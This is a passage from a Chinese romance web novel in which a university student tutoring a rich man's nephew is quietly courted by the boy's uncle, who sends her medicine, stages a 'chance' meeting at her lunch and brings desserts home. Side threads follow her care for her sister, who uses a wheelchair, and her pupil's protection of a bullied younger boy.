“雪梨水,生津止渴,乔老师尝尝。”
乔听月愕然扭头,在她身侧,男人衬衫袖口挽起,凸起的青色血管在他有力的手臂上蔓延,被他拿过的玻璃器皿仿佛升值成了艺术品,雪梨水注入长饮杯,倒满七分后停下。
“谢谢,”乔听月拿起杯子,雪梨水的清甜扑鼻而来,忍不住喝了一大口,喉咙的干涩感消失得一干二净,小鹿眼惬意地弯成月牙,“好好喝。”
陆忱心脏陷进去一块,“你喜欢就好,再来一点?”
“我自己来。”
哪能让陆忱给她端茶倒水。
可陆忱没有松手的意思,她只好双手捧着杯子,腼腆笑道:“麻烦您了。”
“内什么,”祝承信卑微探头,“也给我一杯呗。”
陆忱瞥了眼看不懂气氛的外甥,“一张卷子写了一个小时,还想让老师给你倒水喝
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?”
“我想让你给我倒啊,区别对待。”祝承信小声嘀咕。
“我自己来,自己来。”
茶歇时间结束,乔听月让祝承信做数学卷。
祝承信偷偷瞄了眼钟,还有五十分钟到十点,乔听月这个魔鬼就要下班了。
据他所知,任何一个打工人都逃不过下班的诱惑,他自顾自忽略了乔听月的自主加班发言。
他如法炮制,胡乱填了选择填空,装模作样思考大题,半小时后,交了白卷。
“数学诚不欺我,不会就是不会。”
乔听月展开草纸,看他的目光带着怜悯,“老师也不会骗你,加班就是加班。”
祝承信根本不信,老师都爱吓唬人,盼星星盼月亮盼到十点,乔听月还精神饱满地对他进行函数攻击。
“你该下班了。”
乔听月冷声:“别打断我思路。”
脾气好的人突然严肃起来震慑效果翻倍,乔听月上课下课完全是两种状态,谁要是敢打断她讲课,必然要收到她凌厉的眼刀。
祝承信被强力镇压,一边嫌弃自己没面子,一边听她讲课。
函数题告一段落,他向舅舅投去求救的目光,下一秒又向见了鬼似的低下头。
他矜雅无双的舅舅靠着椅背,双腿交叠,掌心摊开一本金融杂志,他没看杂志,视线像灼起火浪,毫不避讳地落在乔听月身上,嘴角牵着笑。
这世界终于疯了。
但为什么是他饱受折磨?
将近十一点,乔听月讲完数学卷。
她没关心祝承信是否听懂,无差别高强度灌入知识点,强行在他脑子里留下烙印,以后他上课或者做题会不受控制地产生似曾相识的感觉,想摆脱她也好,想结束似懂非懂的状态也罢。
反正都会走到她给他安排的路上来。
乔听月奔波一天,结束工作后被暂时遗忘的疲惫如潮水般涌上身体。
“陆先生,没别的事我就下班了,之后还要麻烦您监督小信睡觉。”
陆忱应下,送她出门,“太晚了,我让司机送你回家。”
乔听月决定加班时就预料到了结果,好在不算做无用功,她已经初步掌握了祝承信的学习情况。
“好,以后我会注意时间的,那我就先走了。”
乔听月走后,祝承信幽灵似的飘出来,垫起脚把下巴压在陆忱肩膀上,“舅舅,别看了,人都没影了。”
陆忱推开他的脸,“你该准备睡觉了。”
“不是吧!”祝承信哀嚎,“舅舅,你变了。”
陆忱边走边解衬衫,“人都是会变的,只是我变得快一点。”
祝承信不依不饶,“舅舅,你跟我说实话,你是不是看上她了?”
发现陆忱动作顿了顿,他觉得他真相了,“我说你昨天怎么突然打扮得花枝招展的,今天回家又不换睡衣,原来是想勾引——”
陆忱轻描淡写睨他一眼,警告道:“知道了就老实点。”
祝承信跟着爬了几级台阶,小心翼翼道:“舅舅,追女生得循序渐进,你这样不行。”
陆忱饶有兴味地套话:“你有经验?”
“没见过猪跑还没吃过猪肉啊,”祝承信打了个哈哈,“我是说,你今天在车上太着急了,什么年代了还玩强吻那一套。”
陆忱觉得现代医学发展还是不够先进,等研发出洗脑子这个项目,他绝对带祝承信体验一下。
而且以乔听月的性子,他要是真敢干出那蠢事,打他一顿再报警都算她遵守法律法规。
“你是不是IQ有问题?”
祝承信一噎,“没强吻啊?”
陆忱被他气得心烦意乱,“赶紧滚回去睡觉。”
祝承信灰溜溜爬了。
陆忱回到书房,他还有一场跨国通话会议,结束后,他脱下衬衫,随手搭到椅子上,揉了揉肩颈,姿态慵懒散漫。
视线落在乔听月坐过的位置,他起身走过去,拿起长饮杯,不比少女手小纤细,长饮杯在他手中像是变小了许多,手掌覆盖住少女的指纹,指腹轻轻蹭过杯口。
“叮咚——”
微信提示音响起。
陆忱眼底笑意渐浓。
来了。
11. 送药
深夜零点,江城的夜生活刚刚开始,可乔听月的小区并不在享受夜生活的范围内,迈巴赫拐过最后一道弯,便彻底驶入寂静。
小区有门禁,乔听月和保安熟识,没用做登记就放行了。
下了车,乔听月习惯性抬头,姐姐果然给她留了灯,和司机道谢并且让他注意安全后,她转身向门走去。
“乔老师,请等一等。”
司机追上来,将手中的纸袋递给她。
乔听月接过纸袋,“这是什么?”
司机道:“这是先生让我交给您的,具体是什么我也不知道。”
陆忱给她的?
怎么不在下班的时候亲自交给她,反而借司机之手。
虽然相处时间短,乔听月也看得出陆忱不是做事会绕弯路的人。
满头雾水回到家,乔听月蹑手蹑脚走到姐姐卧室门口,附耳听了听动静,接着推开一个小缝,房间内漆黑一片,床上模糊一团人影没什么反应,估计是已经睡熟了。
她快速洗漱回房,打开纸袋,露出几样药品和一张纸片。
乔听月先拿起那张纸片,不是留言,而是手写的药品使用说明。熟悉的字迹鸾翔凤翥,右下角单留“忱”字,最后一笔勾起,她不由想起陆忱那微微上翘的眼尾。
药品一一摆在床上,康复新液,消炎药,维生素B2,碘伏和一支凝胶。
前三样修复舌尖,后两样擦侧颈,陆忱是这样写的。
乔听月狐疑,抬手摸脖子,一阵酥酥麻麻的刺痛顺着神经蔓延,她忍不住嘶了声。
她自己都没发现受伤,陆忱竟默默给她买了药,天底下打着灯笼都找不到这样体贴的老板。
不对,是这样优秀的学生家长。
乔听月拿出手机,编辑微信。
【月亮】:陆先生,谢谢您的药。[药品照片]
【月亮】:[猫猫作揖]
消息发送成功,她忽然想起来已经过了零点,陆忱说不定早就睡了。
几乎是秒回。
【祝承信舅舅(陆)】:不用客气,在通勤车上受伤也算工伤。
乔听月被他的话逗笑,豪车爆改通勤车,也就他说得出这种话。
【月亮】:您什么时候买的啊?
【祝承信舅舅(陆)】:你陪小信打游戏的时候,小区有药店,打个电话就送来了,很方便。
乔听月松了口气,她不想太劳动陆忱,欠太多人情,还都还不过来。
决定了,明天多教小信两道题!
【祝承信舅舅(陆)】:不早了,我先休息了,乔老师也早点休息吧。
【月亮】:嗯嗯,我擦了药就休息。
聊天结束。
乔听月张开双臂向后一躺,整个人陷进柔软的床垫。
不得不说,和陆忱相处很舒服。
他没有上位者的架子,健谈、幽默风趣、体察细微、有边界感、不谜语人,感觉浑身上下都是优点。
见贤思齐,她要学的东西多着呢!
——
十点与人有约,乔听月不敢睡懒觉,出家门的时候姐姐还没睡醒,于是留了一张便利贴告诉她早餐在锅里。
会合地点在皮革城附近的地铁站,乔听月回到地面,一眼就看见了齐珊珊那辆标志性的粉色小马。
乔听月上车,发现后排没人,“盈盈呢?”
齐珊珊悲哀道:“出发前被她导师呼走了。”
导师临时叫人是常事,乔听月没大惊小怪,“远程直播也行,就怕被导师输出完失去消费的欲望。”
抵达皮革城,两人直接去了齐珊珊朋友那家店。
朋友见到她们当即迎上来,热情道:“欢迎啊齐大小姐,现在见你一面可真不容易。”
视线移向乔听月,他眼中迸发出诡异的光,“是你!”
乔听月确信自己不认识这个人,“你见过我?”
“见过啊,上次在古湾,”他做了个擒拿姿势,“你两下就制服了醉鬼,我当时在现场。”
乔听月沉默。
世界还是太小了。
齐珊珊先火了,“那你不帮忙?”
“不是我不帮,是她动作太快,想英雄救美都来不及。”
他见乔听月还迷茫着,自报家门:“我叫武睿,你叫我武哥就行。”
武睿带两人参观他的店铺,“都是新货,价标得高,你们想要可以最低价上打八折,算有诚意了吧。”
这话主要说给齐珊珊听,一件山猫王标价300W,最便宜的都要20W,溢价再高乔听月也买不起。
逛了一圈,武睿带她们下楼,“我主要做贵妇线,一年不开张,开张吃一年。楼下有几家适合你们小女生,一会你们告诉我喜欢哪件,我去谈就行。”
他掏出手机,语气自然:“小乔,加个微信,万一调货时间长也好联系。”
“好,”乔听月扫他二维码,“我尽量买现货,不给你添麻烦。”
武睿通过好友申请,“不用客气,齐大小姐的面子我还是要给的。”
乔听月收到齐珊珊的眼神,从善如流道:“那就谢谢武哥了。”
——
陆氏集团大厦。
陆忱刚开完策划会,收到武睿的微信,没有废话,孤零零一条名片分享。
点进去,卡通女孩抱着小月牙对他咧嘴笑。
【LU】:?
【LU】:哪来的?
半天没人回,他直接拨号。
这次接了,武睿先是跟谁打了声招呼,才走远跟他说话:“呦,忱哥,不忙啊?”
陆忱站在大落地窗前,俯瞰整个江城,他在这个位置接过无数次上百亿的通话,这一次他只关心一件事。
“她微信你哪来的?”
武睿嘿嘿笑:“齐珊珊带朋友找我买皮草,我一打眼就认出来了,穿个黄色棉服,像小蛋挞似的。”
“别说兄弟不想着你,这不微信都帮你要来了。”
陆忱嘴角勾起,“买完了吗?”
“啊?”武睿转头,两个女生正凑在一件獭兔马甲前嘀咕,“还没呢,我看她预算不多。”
“多看几家,拖一会。”
陆忱拿起外套,大步离开办公室,秘书以为有工作准备跟上,不料他抬手摆了下手指,独自进了电梯。
“约她用午饭,我马上到。”
——
货比三家,又有武睿这个专业人士帮忙压价,乔听月花五千块消费了一件短款环保皮草,既好看又保暖,姐姐晒太阳穿正合适。
东西买完,乔听月提出请客吃饭。
齐珊珊欣然应允,“我知道一家泰餐,冬阴功汤简直绝了。”
武睿愣了下,“哪能让女生请客,不合适。”
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乔听月晃了晃手提袋,“主要是想表达感谢,武哥就别和我抢了。”
武睿不好推辞,只能点头,开车跟上粉色小马,顺便把用餐地址发给好兄弟。
很快,陆忱回复:【别说我去,装偶遇。】
武睿撇嘴,这人平时不近女色,仿佛女人会影响他签单的速度,这一开窍花招还挺多的。
三人到店后要了个包厢,齐珊珊负责点餐,她知道乔听月的性子,没说替她省钱,满满当当点了一桌子菜。
武睿眼皮跳了跳,心说小蛋挞买衣服省的钱全炫齐珊珊嘴里去了。
齐珊珊看出他的心思,满钻指甲点点下巴,“我们月亮可是个小富婆,你别瞧不起人。”
乔听月十分配合地腼腆一笑,“一点点存款而已,武哥不用帮我省钱,想吃什么随便点。”
武睿怀疑道:“你们是同学吧?”
乔听月点头,“室友。”
武睿大惊失色:“那你还没毕业啊!”
他忱哥泡大学生!夭寿了!
乔听月以为他在质疑她的存款,解释道:“上学时攒了一些奖学金,给课题组搬砖也有工资,还买了些理财产品。”
她把菜单递过去,“你看看菜单?”
“哦好,我看看。”
武睿失魂落魄地接过菜单,前一秒觉得陆忱犯罪,后一秒怀疑自己大学白上了。
半晌,他点了个芒果糯米糕,讪笑道:“没想到你还是个学霸。”
菜品上齐,三人边吃边聊。
提到假期打算,齐珊珊问乔听月:“你那兼职有假期吗?我和盈盈打算去三亚度假。”
乔听月摇头,“你们打算去多久?”
“一周左右吧。”
锦新高中寒假大概一个月,以陆家对祝承信的教育方式,不可能压着他学习冲刺。
乔听月从容道:“你们时间定了告诉我,我和老板商量一下。”
两个女生说话的声音并不大,来电振动在安静的室内非常明显。
武睿拿起手机,“不好意思,我出去一趟。”
他出去没多久,乔听月起身去洗手间。
恰好赶上擦手纸用光没补充,她像霸王龙一样端着手回包厢,等水自然风干。
在包厢门口,乔听月和武睿迎头遇上,视线扫到他身边的男人,瞳孔微微晃了下。
武睿帮忙打掩护:“这是我朋友——”
同时,乔听月讶然,声调微微拔高:“陆先生,您怎么在这?”
武睿一头雾水,拼命给陆忱使眼色,“你们认识啊?”
陆忱视若无睹,不着痕迹地端详乔听月。
为了出门逛街,她精心打扮了一番,扎着丸子头,露出光洁的额头,几缕碎发落在耳边,看起来毛茸茸的,半高领羊毛打底衫十分修身,展现出平时掩藏在宽松版型衣物下的漂亮曲线。
他短暂地垂下眼帘,很快又看向她,似乎有些为难,“来视察工作,看见阿睿在附近,想来蹭顿饭,没想到是乔老师请客,倒是我唐突了,乔老师不介意吧?”
乔听月倏地放下手,推开门,“当然不介意,陆先生快请进。”
齐珊珊一个人正无聊,见有人回来,牢骚道:“跑哪去了——”
和陆忱四目相对,她想都没想,诧异脱口而出。
“月亮,你老板怎么来抓你了?!”
12. 蹭饭
齐珊珊话音落下,乔听月脑子里就两个字——
完蛋。
陆忱一条腿迈进门,乔听月在他身后,握拳比划了一下,笑着打圆场:“珊珊就爱开玩笑,走廊风大,进去再说吧。”
武睿连说三个“对”,推了一把陆忱,转头让服务生多加一套餐具。
四人重新落座,陆忱坐在乔听月对面。
乔听月努力忽略桌子下面疯狂戳她大腿的指甲,给陆忱倒芒果汁,“陆先生刚说来视察工作,工作还顺利吗?”
“顺利,”果汁壶很重,陆忱伸手拖住底,“你们这是逛街去了?”
乔听月对他笑笑,将果汁递给他,“嗯,今天多亏了武哥。”
武睿哪敢居功,“嗨,我也是欠了齐大小姐人情,不然一般人可使唤不动我。”
他是屋里最自在的人,点了点手机,“不过既是忱哥朋友,那就是自己人,乔老师以后有事随时叫我,我保证到位。”
齐珊珊自从说错了话,便缄默不言,直到捕捉到武睿称呼的变化,才发觉这顿饭有点不对劲。
她虽然游离在圈子外,但陆武两家是世交不是秘密,陆忱和武睿更是好到穿一条裤子长大。这俩人在商场上被人恨得牙痒痒,前者一张笑面手段雷厉风行,没人敢得罪,后者纯是无奸不商,最讲究双赢——一个人赢两次,只有遇上他忱哥,才愿意拱手让利。
抛开水分不谈,也绝对不是现在这幅不值钱的样儿。
至于目的,显而易见。
齐珊珊心中叹气,扭头一看,心更痛了。
乔听月正认真听武睿侃大山,偶尔听到不可思议的地方便捧场地发出疑问,紧接着陆忱毫不留情戳破好兄弟吹的牛逼,换小美人儿甜滋滋一笑。
三人的关系以一种可怕的速度疯狂推进。
终于,半小时后,陆忱碗里牛肉炒饭见底。
齐珊珊见缝插针:“不好意思,我下午还要去见导师,得先告辞了。”
说罢,在桌子下戳了戳乔听月。
陆忱放下筷子,顺势道:“我下午也有工作,今天多谢乔老师款待。”
乔听月客套招待不周,结了账,四人一起往停车场走。
齐珊珊状似无意:“陆总,你司机不来接你吗?”
陆忱平静道:“现在是午休时间。”
乔听月赞赏地点头,不愧是业内好评如潮的陆氏集团,很有温度。
齐珊珊拉起乔听月的手,“我的车停在那边,就此分别吧,有机会再见。”
陆忱颔首,随即看向乔听月,声线温柔:“那我们晚上见。”
乔听月回应:“晚上见。”
两个女生离开,武睿终于忍不住,“忱哥,到底怎么回事?”
陆忱勾唇,“她现在给我外甥做家教。”
“不是,”武睿混乱了,“那你巴巴追过来干嘛?”
陆忱解锁车门,脱下外套扔到副驾,“我之前请她吃饭,她拒绝了。”
武睿无语半晌,艰难道:“所以你真是来蹭饭的?”
陆忱“嗯”了声,一点不觉得抛下公司事务,千里迢迢蹭一顿几百块钱的饭有什么问题。
他上车关门一气呵成,点火之后,降下车窗,“今天谢了,算我欠你一次。”
武睿搓搓手,“这可是你说的,滚吧,本少好好想想要什么。”
“德行。”
陆忱轻嗤一声,留下一程车尾气。
没开出十米,迈巴赫缓缓倒回来。
武睿不明所以:“咋了?”
陆忱手肘搭着车窗,眉眼挂着愉悦,“刚忘了说,你偶尔也说句人话。”
“她今天确实挺像小蛋挞的。”
——
另一边,乔听月刚坐稳,便对齐珊珊道歉:“对不起啊珊珊,刚刚冷落你了,过几天我单独请你吃大餐。”
齐珊珊表情僵了下,“你说什么?”
乔听月系上安全带,避开脖子上的擦伤,又重复了一遍,“你不是因为这个不高兴吗?”
“当然不是。”齐珊珊叹气,与其指望乔听月自己开窍,不如她直白说了。
乔听月只当她嘴硬,晃了晃她胳膊,哄道:“好啦,你不觉得你朋友刚刚说的特别好玩吗?我也想潜水捡海胆,去挪威看极光。”
齐珊珊还在想怎么措辞,被她一番话打个措手不及,“你那么捧场是为了听这些?”
“对啊,”乔听月不好意思地揉了下脸,眼底满是憧憬,“等我以后赚了钱,我就带我姐姐环游世界。”
齐珊珊默默启动车子,旁敲侧击:“你最近兼职怎么样,陆忱没为难你吧?”
乔听月怕自己晕车,把车窗降下来一个小缝,“没有啊,他人可好了。”
齐珊珊没话了。
她若是没记错,乔听月口中的“他人可好了”是固定句式,常见于“我导师可好了”“那个学长给我资料,人可真好”,诸如此类。
她不死心,“听说陆忱挺多人追的。”
乔听月理所当然道:“人中龙凤,没人追才奇怪吧。”
“你呢?”齐珊珊打趣,“你天天和他见面,会不会春心萌动?”
乔听月板住脸,严肃道:“干我们这行的,最忌讳爱上家长。”
齐珊珊嘴角抽动,本来担心陆忱对她的好朋友图谋不轨,现在竟开始可怜他了。
月亮的打工人之心,磐石无转移。
——
下午两点,乔听月买了菜回家。
家里很安静,厨房窗户开着,冷空气一刻不停地灌进来,室温几乎要和外界持平。
很显然,家里没人。
她紧紧蹙了下眉,先去卧室查看,留的便利贴放在床头柜上,证明姐姐醒来后看过,接着又去厨房,早饭吃了,碗也洗了。
可能是趁现在阳光正好,散步去了吧。
乔听月思来想去还是放心不下,给乔望曦打电话。
铃声歌词唱到第八句,电话接通,“喂,月亮,怎么了?”
话到嘴边转了个弯,“姐,你在家吗?”
“怎么了,”乔望曦声音温温柔柔,“我在便利店,家里没有牛奶了,你要买什么吗?”
乔听月如释重负,她真是傻了,姐姐怎么可能骗她。
“买瓶醋吧,今天吃糖醋鱼。”
电话挂断没多久,乔望曦就回来了。
乔望曦推着轮椅到厨房,买的东西放在腿上,“月亮,你什么时候回来的?”
乔听月赶紧把东西拿下来,擦了擦手,推她去卧室,“刚回来,我给你买了一件衣服,你快穿上试试。”
乔望曦嗔怪:“你多给自己买两件,我又不出门。”
“我姐散步也得美美的。”乔听月帮她脱外套,挂衣服的时候嗅到一股不明显的茉莉香。
她低头凑近衣服,“咱家换洗衣液了吗?”
“没有啊,”乔
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望曦换上皮草,“可能是便利店的香氛吧,看看,好看吗?”
乔听月顿时把香味抛之脑后,海豹鼓掌,“太美了,仙女下凡!”
试完衣服,姐妹俩去厨房做晚餐。
乔望曦提起药的事,“月亮,你受伤了吗?严不严重?”
昨夜上完药,乔听月把药放在表面随取随用,手写说明收进了抽屉,乔望曦不会随意翻隐私,所以只看到了药品。
“不是大事,就是舌头咬破了,”乔听月弯腰,“你看。”
确定是小伤,乔望曦又开始对下班时间表达不满:“你本来下班就晚,陆家怎么还留你加班呢?小姑娘家家的,多危险。”
“昨天第一天,我时间安排的不太合理,题没讲完,自主加班的。”
乔听月把菜下锅,“而且我下班有司机送,昨天他直接送我到楼下呢。”
乔望曦无意识捏膝盖,“要不是我身体不好。”
“姐——”
乔听月打断她,“你身体很好,一定会好起来的。”
姐妹俩默契暂停话题。
饭菜出锅,乔听月重新穿戴整齐,叫乔望曦吃饭,“姐,我上班去啦,碗留着我回来刷就行。”
乔望曦送她出门,“早点回来,加班发微信告诉我一声。”
“好嘞!”
走出家门,乔听月脸上的笑容平息下来,用力攥住手机。
她怎么也忘不了,高考前夕,姐姐一步一步爬山拜庙,为她求了一支金榜题名笔,告诉她好好考,等考完,她们一起去蹦极。
那么好的姐姐,梦想还没实现,她舍不得让她一辈子坐轮椅。
她得努力赚钱,国内不行就国外。
一定要让姐姐重新站起来。
——
为了方便乔听月,司机先开车去地铁站接她,再一起去锦新高中。
迈巴赫一出场,便吸引了所有人的注意力。
车内,司机恭敬道:“乔老师,先生说让您别着急下车,否则可能会被人骚扰,而且天气冷,站久了容易生病。”
乔听月深以为然,“我在车上等就行。”
外边的人也在等,一直等到学生放学,迈巴赫的门才迟迟打开。
陆忱不在,少女单独乘坐他的座驾,一时间神情各异。
乔听月下了车,在校门外站定,明显感觉陆续有人往她身边聚集。
她正想怎么应付这些人,手机铃声忽然响了。
是陆忱。
接起来,男人磁性的声音在耳边响起:“乔老师,接到小信了吗?”
“还没、”乔听月顿了下,“我看到他了。”
又和宋诗灵在一起。
手机对面很安静,间或有指尖敲击键盘,乔听月耳朵发痒,“陆先生,还有事吗?”
“没事。”陆忱声音很轻。
乔听月抿唇,眼角余光扫到一堆人直勾勾盯着她手机,不言而喻,都在好奇陆忱这通电话的目的。
“陆先生,要是没事我就先挂了。”
“嘶——”
“她竟然敢挂陆忱的电话。”
看热闹就小声点,她都听见了啊!
乔听月无语,正要催问,终于又有声音从听筒传过来。
有人和陆忱打招呼,陆忱没做回应,而是与她说话,走路并没有影响他分毫,气息依旧沉稳,语调带着笑。
“没别的事,只是怕别人挖我墙脚。”
13. 视频
“什么?”
“喂?”
“陆先生,您还在讲吗?”
乔听月尝试听清,可惜电流声滋啦啦不停,之后就是长久的寂静。
她背过身,挡着光看屏幕,显示还在通话中,偏偏对面没反应。
祝承信慢吞吞走过来,见她对着手机困惑,习惯性嘲讽:“咋,耳朵聋了?”
乔听月不跟嘴坏小孩一般见识,隔空点了点他,无奈道:“你舅舅的电话,信号不好,听不清。”
话音刚落,信号恢复,陆忱的声音再次传来:“刚刚进电梯了。”
“哦哦,之后您说什么了?”
“没什么,担心你被人为难,打电话问问。”
乔听月带着祝承信往车的方向走,听出他公事公办语调后的温柔,“谢谢您,我们已经上车了。”
“那就好,今天公司有事,不用等我吃饭。”
电话挂断,乔听月握着手机愣了一会。
祝承信撕开一包薯片,咔哧咔哧嚼,“发什么呆,我舅舅说啥了?”
“他说要加班,不回来吃饭了。”乔听月简单压缩句意。
祝承信不意外,“我还以为多大事呢。”
少年一副稀松平常的模样,可乔听月在他眼中看到了淡淡的失落,限速拍照闪光灯亮起又灭,在刺眼的白光中,她好像看到了曾经的自己。
她父母是高中老师,每天早出晚归,生命中大部分时间都奉献给了学生。孕育了生命后,依旧无法适应新身份,只能越发勤恳地工作。
女儿很乖,不哭不闹,于是有了第二个女儿。小女儿是高需求宝宝,他们手足无措,工作成了避风港。
在她的印象中,几乎每年都有毕业的学生带着水果上门拜访,和她的父母手拉手忆往昔,偶尔有女生趴在妈妈怀里流眼泪。
这种时候,她和姐姐总是躲在屋子里,门外是笑是哭都与她们无关,明明是主人,却像两个闯入的外人一样难堪。
她时常想,是这些人分薄了父母的爱,挤占了一家人相处的时间。可父母爱学生,也爱他们,只是他们太博爱,理想太宏大,反而忽略了她们还在角落渴望爱意。
时间慢慢地挣扎着消逝,姐姐上大学离开家。
她高中住校,在校园里遇到父母说声“老师好”,得到几句“学习吃不吃力”“身体吃不吃得消”“和同学关系怎么样”之类的关心,比在家里相处更舒服。
后来,家破人亡,父母用生命证明他们的确爱她们,只是没机会体会更多了。
“哗啦啦哗啦啦。”
乔听月回神,就见薯片在自己面前晃悠,芥末味直冲天灵盖,她整包掠夺。
祝承信不敢置信:“我就这一包!给你吃两片就还我。”
乔听月捏了一片,咽下去后露出嫌弃的神情,“这什么反人类的口味,没收了。”
“喂!”祝承信伸手抢,“你到底有没有味觉?”
乔听月轻松制住他,“坐好,营养师不允许你吃零食,我看见了就得没收。”
祝承信悻悻坐回去,偷偷活动手腕,嘴里嘀嘀咕咕“不识好人心”。
和他闹腾一番,乔听月因为猝然坠入回忆升起的阴霾散去,重新阳光明媚起来。
——
“吴爷爷,晚饭吃什么?”祝承信回家直奔餐厅。
吴叔乐呵呵地接过他的书包,“少爷,今天有紫甘蓝炒牛肉。”
“……还有别的吗?”
祝承信拉着吴叔的胳膊密谋:“舅舅不回家吃饭,你让厨师给我做点辣的。”
“咳!”
乔听月跟在他身后,“别为难吴叔,我盯着你呢。”
祝承信啧了一声,嘴巴动了动,到底没说什么。
在第八次阻止祝承信向辣炒虾仁伸筷子后,乔听月问:“真有那么难吃?”
祝承信眼睛biu的亮了,连连点头,“真的难吃,不然咱俩换换。”
乔听月用公筷夹了一口尝味道,摸良心说,营养师手艺一流,只不过以清淡为主,不符合祝承信的重口味,她倒是想跟他取取经,回家给姐姐做。
她喝了口海鲜汤,“安心吃吧,对你身体好。”
家里大人不在,小孩就爱作妖。
祝承信放下筷子,整个人生无可恋地瘫在椅子里,光棍道:“给我来瓶老干妈吧,不然我要绝食了。”
吴叔完全是长辈心态,“少爷,你还是吃吧,晚上先生回来要生气的。”
乔听月默不作声,低头捣鼓手机。
祝承信以为她这是睁一只眼闭一只眼的意思,弹起来往厨房走,“我记得家里有牛肉酱,就吃一点,解解馋。”
“祝承信。”陆忱的声音宛若魔咒,一出现就把人定在原地。
祝承信已经进了中厨,又僵硬地倒退回来,转身就见乔听月举着手机,屏幕正中是他舅舅那张美如冠玉的脸。
原来她在偷偷给舅舅打电话!
不讲基本法!
祝承信脸色变了又变,最后愤愤坐回椅子,小声道:“有本事你别告状。”
乔听月双眸弯弯,笑得像只坏狐狸,她把手机支在花瓶前,正对着祝承信,“主要是觉得,你可能需要陆先生陪你吃饭。”
祝承信头一回跟人视频吃饭,拿筷子都觉得别扭,问了句废话:“舅舅,你吃饭了吗?”
陆忱在看文件,“没呢,稍后秘书会送。”
有陆忱监督,祝承信十分乖巧地吃完营养餐,乔听月非常满意。不料他飞快扒完最后一口米饭,趁她不注意,抢走手机对着她拍。
乔听月阻拦不及时,此时她牙齿间还咬着排骨,焦糖色的炒排骨酱汁浓郁,在她嫣红的唇上染了色泽。
她竟然以这种形象出现在学生家长的手机里!
陆忱见她耳根腾的一下变红,撇开眼,轻斥:“小信,别打扰老师吃饭。”
乔听月拿回手机,连忙关了摄像头,忍不住羞赧:“陆先生,小信吃完了,我就先挂断了。”
“好,”陆忱低低应了声,隐约含着笑,“你慢慢吃,不用管他。”
掐断视频,乔听月第一次叫了祝承信大名,不过她尚且没脱离羞怯的状态,毫无威严。
祝承信完全不怕,一溜烟跑了。
乔听月对着他背影喊:“跑慢点!小心胃下垂!”
另一边,陆忱放下手机,嘴角弧度未平,抬眼看秘书,“刚刚说到哪了?”
视频接通,秘书便停止了汇报,直到一个长相甜美的少女出镜,他才匆匆瞧了一眼,但也不敢多看,更加努力地装透明人。
怪不得今天老板看起来心绪不宁,原来是金屋藏娇了。
他将内容精简再精简,“还有一份策划案需要您拍板。”
陆忱敲敲桌面,“放着吧,我一会看。”
秘书点头,抱着文件离开总裁办公室。
一出门,他打开群聊发匿名消息。
【小道消息,咱们老板可能脱单了。】
——
乔听月吃完晚餐,拿着营养师精心调
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配的蔬菜汁上楼。
怕吓到屋里沉迷游戏的少年,她先敲了敲门,“玩上了?”
祝承信头也没回,“昂,你要玩吗?”
乔听月虽然菜,但好在学得快,配合起来不算难受。
“先把这个喝了,”乔听月把蔬菜汁递给他,“我替你打。”
祝承信看着绿油油的液体,一言难尽,“要不还是算了吧,这玩意喝完赶上催吐了。”
乔听月操作手柄,一连三次惊险操作,吓得祝承信吱哇乱叫。
“你到底行不行啊!你暂停,先暂停!”
乔听月躲过他的手,“别抢别抢,一会儿真死了,你赶紧喝完,我不就还你了嘛。”
又被拿捏了,有毒吧!
祝承信捏着鼻子咕咚咕咚喝了,重新呼吸时,感觉味蕾遭到了炸药攻击,恨不得一个白眼昏过去。
乔听月用手柄交换空杯子,“你仔细品,有回甘的。”
祝承信脸比蔬菜汁还绿,“你别坑我了,到底玩不玩。”
“玩呗。”
游戏换了双人模式,昨天的默契还在,乔听月熟悉键位后便花心思引导聊天。
“今天你和宋同学又一起出来的。”
“你看到了?”因为乔听月没告密,祝承信勉强给予她些许信任,说起宋诗灵也没有之前抗拒了。
“她非黏着我。”
乔听月侧目,眼神带着戏谑。
祝承信被她盯得发毛,“你不相信?”
“没有,”乔听月抿嘴笑,“只是感觉有东西怼着我了。”
说话时她眼睛一直盯着祝承信的脸。
翻译过来就是,祝承信脸皮太厚,怼着她了。
这个年纪的小男生经不起激将,乔听月几个眼神就足以让祝承信化身自爆卡车。
“要不是看她可怜,我才不会让她黏着我。”
乔听月好奇:“你为什么觉得她可怜?”
祝承信张了张嘴,又把想说的话咽回去,转移话题:“你求我的事我办完了。”
昨天在校门口发生冲突,主要是怪无端惹事的贵妇,和她那憨厚的儿子没关系。乔听月怕有人为了巴结祝承信,故意霸凌那孩子,所以让他找时间去低年部晃一圈,最好是能交流几句。
当时祝承信没答应,她还以为这条路行不通,得让陆忱下基层了解情况呢。
嘴硬心软,臭小孩一点都不坦诚。
乔听月问:“你去的时候有人为难他吗?”
“有,”祝承信脸色不好,语气鄙夷,“要不是我去的及时,那小胖子就要被他同学压水池子里了。”
乔听月松了口气,“之后就不会了。”
“那当然不会,我说了,以后谁为难他就是和我过不去。”祝承信笑得像游戏里的反派。
乔听月抬手揉了揉他的头发,在他瞪眼睛的时候,柔声道:“你拯救了一个人呢,真棒。”
祝承信偏过头,口中讷讷不言,耳垂红得滴血。
这时,有人敲门,乔听月说了声“请进”。
是陆忱。
她收回手,眼底容纳着温柔,“陆先生,您回来了。”
他没脱外套,身上裹着寒气,偏棕色的头发搭在眉骨,中和了他穿正装时凌厉的气势。
他望过来,晃了晃手中盒子。
乔听月这才发现他还带了东西。
“下班路过蛋糕店,买了曲奇和舒芙蕾。”
陆忱邀请:“不如课间休息一会儿,尝尝我买的东西。”
14. 茶歇时间
乔听月自然不会拒绝,家长都是心疼孩子的,既怕孩子学习落后,又担心学习强度太大把人累坏了。
她猜测,陆忱一定是怕外甥沉迷游戏伤眼,才会用间食挤占游戏时间。
祝承信欢呼:“舅舅万岁!”
陆忱把盒子交给他,“你带老师去茶室,我换身衣服就过去。”
茶室在一楼,面积比乔听月家客厅连厨房还大。整一块落地窗,浅色纱幔垂在距离地面两公分的位置,分割出一个绿植区,茶台居中,上方有中式西式两款茶具。
乔听月面对落地窗坐下,借着星星点点的地面灯,她看清窗外是一座下沉庭院,很适合夏日烧烤。
祝承信已经拆了蛋糕盒,“嚯!”
蛋糕盒内有乾坤,拆开后一共三层,除了曲奇和舒芙蕾,还有其他的甜点,陆忱只说了他觉得最好的两种。
祝承信主动道:“我问问吴爷爷有没有红茶。”
茶室只剩下乔听月一人。
不多时,陆忱换完衣服过来。
“小信呢?”
他换了一身灰色的棉质睡衣,V字领,露出一节明显的锁骨,黑色编织绳向内延伸,胸口隐约能看见无事牌的轮廓。
